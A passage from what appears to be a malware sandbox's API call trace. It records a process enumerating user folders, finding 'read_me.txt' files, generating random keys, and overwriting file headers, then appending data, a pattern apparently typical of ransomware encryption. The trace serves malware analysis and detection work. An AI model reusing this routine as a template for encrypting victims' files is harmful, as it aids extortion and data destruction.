dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0081.608] GetProcessHeap () returned 0x540000 [0081.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4140048 [0081.608] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*") returned 41 [0081.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0081.608] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\read_me.txt") returned 51 [0081.608] GetProcessHeap () returned 0x540000 [0081.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4140048 | out: hHeap=0x540000) returned 1 [0081.608] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 82 [0081.608] GetProcessHeap () returned 0x540000 [0081.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44600d8 | out: hHeap=0x540000) returned 1 [0081.609] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.609] ReadFile (in: hFile=0x804, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.609] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.609] GetProcessHeap () returned 0x540000 [0081.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.609] GetProcessHeap () returned 0x540000 [0081.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.609] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.609] GetProcessHeap () returned 0x540000 [0081.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.609] ReadFile (in: hFile=0x804, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.668] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.668] WriteFile (in: hFile=0x804, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.668] GetProcessHeap () returned 0x540000 [0081.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.668] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.669] GetProcessHeap () returned 0x540000 [0081.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.670] GetProcessHeap () returned 0x540000 [0081.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.671] GetProcessHeap () returned 0x540000 [0081.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.671] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.672] GetProcessHeap () returned 0x540000 [0081.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.673] GetProcessHeap () returned 0x540000 [0081.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.673] GetProcessHeap () returned 0x540000 [0081.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.673] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.673] WriteFile (in: hFile=0x804, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.673] WriteFile (in: hFile=0x804, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.673] GetProcessHeap () returned 0x540000 [0081.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.673] GetProcessHeap () returned 0x540000 [0081.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.673] GetProcessHeap () returned 0x540000 [0081.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.673] CloseHandle (hObject=0x804) returned 1 [0081.675] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 34 [0081.675] SetFilePointerEx (in: hFile=0x808, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.675] ReadFile (in: hFile=0x808, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.675] SetFilePointerEx (in: hFile=0x808, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.675] GetProcessHeap () returned 0x540000 [0081.676] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.676] GetProcessHeap () returned 0x540000 [0081.676] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.676] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.676] GetProcessHeap () returned 0x540000 [0081.676] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.676] ReadFile (in: hFile=0x808, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.748] SetFilePointerEx (in: hFile=0x808, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.748] WriteFile (in: hFile=0x808, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.749] GetProcessHeap () returned 0x540000 [0081.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.750] GetProcessHeap () returned 0x540000 [0081.750] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.750] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.751] GetProcessHeap () returned 0x540000 [0081.751] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree 